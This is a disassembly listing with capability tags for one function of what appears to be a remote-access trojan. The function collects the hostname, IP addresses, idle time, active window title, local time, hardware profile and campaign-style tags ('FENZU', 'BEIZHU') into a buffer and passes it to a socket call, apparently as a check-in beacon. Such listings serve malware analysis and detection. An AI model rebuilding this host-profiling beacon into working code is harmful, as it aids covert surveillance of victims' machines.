Function at 0x140001530
Capabilities:
Get graphical window text
Get hostname
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x360
mov rbp, rcx
mov ecx, 0xf90
mov r13, r8
mov r12d, edx
call fcn.140024100
xor edx, edx
mov rcx, rax
mov r8d, 0xf90
mov rdi, rax
call fcn.1400278a0
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x100
mov byte [rdi], 3
call fcn.1400278a0
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x100
call fcn.1400278a0
lea rcx, [rsp + 0x160]
mov edx, 0x100
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x160]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
test rax, rax
je 0x14000165d
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x60]
mov edx, 0x100
mov r8, rax
call fcn.1400243c0
lea r8, [0x14004e050]
lea rcx, [rsp + 0x60]
mov edx, 0x100
call fcn.1400243c0
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [r11]
cmp rax, qword [rsi]
jae 0x14000165d
xor ebx, ebx
mov rax, qword [rbx + r11 + 8]
add rbx, 8
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x60]
mov edx, 0x100
mov r8, rax
call fcn.1400243c0
lea r8, [0x14004e050]
lea rcx, [rsp + 0x60]
mov edx, 0x100
call fcn.1400243c0
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [rbx + r11]
cmp rax, qword [rsi]
jb 0x140001612
lea r8, [rsp + 0x60]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rsi, [rdi + 2]
lea r8, [rsp + 0x60]
mov dword [rsp + 0x28], eax
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x380]
mov dword [rsp + 0x380], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rdi + 0x200]
sub eax, dword [rsp + 0x384]
mov edx, 0xa
lea r8, [0x14004dbfc]
cmp eax, 0x2bf20
jbe 0x1400016e8
lea r8, [0x14004dc0c]
call fcn.1400244a0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x14000170e
lea rdx, [rdi + 0x598]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rdi + 0x796]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rdi + 0x796]
lea rdx, str.FENZU
lea rcx, [0x14004e080]
call fcn.140002340
cmp eax, 1
jge 0x140001752
lea r8, [0x14006651c]
lea rcx, [rdi + 0x796]
mov edx, gethostbyname
call fcn.1400244a0
lea rcx, [rdi + 0x7fa]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rdi + 0x7fa]
lea rdx, str.BEIZHU
lea rcx, str.main
call fcn.140002340
cmp eax, 1
jge 0x140001796
lea r8, str.6.27
lea rcx, [rdi + 0x7fa]
mov edx, gethostbyname
call fcn.1400244a0
mov r9d, 0xa
lea rdx, [rdi + 0x85e]
mov ecx, r12d
lea r8d, [r9 + 0x28]
call fcn.140024618
lea rcx, [rdi + 0x9a8]
call fcn.140002160
call fcn.140001e60
lea rcx, [rdi + 0xa16]
mov edx, 0xa
lea r8, [0x14004dc1c]
test eax, eax
jne 0x1400017de
lea r8, [0x14004dc3c]
call fcn.1400244a0
call fcn.140001c80
lea rcx, [rdi + 0xc28]
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx r8d, word [rsp + 0x56]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x52]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
lea rcx, [rdi + 0x8c2]
lea rdx, [0x14004e0c0]
mov r8, r13
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rdi + 0x926]
lea rdx, [0x14004e108]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x260]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea r9, [rdi + 0x318]
lea r8, [rdi + 0x2dc]
test eax, eax
lea rdx, [rdi + 0x214]
lea rcx, [rdi + 0xf2e]
lea rax, [rdi + 0xa0c]
je 0x1400018ab
lea r10, [rsp + 0x264]
mov qword [rsp + 0x30], r10
jmp 0x1400018b4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call fcn.140001900
mov rax, qword [rbp]
mov r8d, 0xf90
mov rdx, rdi
mov rcx, rbp
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
mov ebx, eax
call fcn.140023d50
lea r11, [rsp + 0x360]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov eax, ebx
mov rbx, qword [r11 + 0x28]
mov rsp, r11
pop r13
pop r12
pop rdi
ret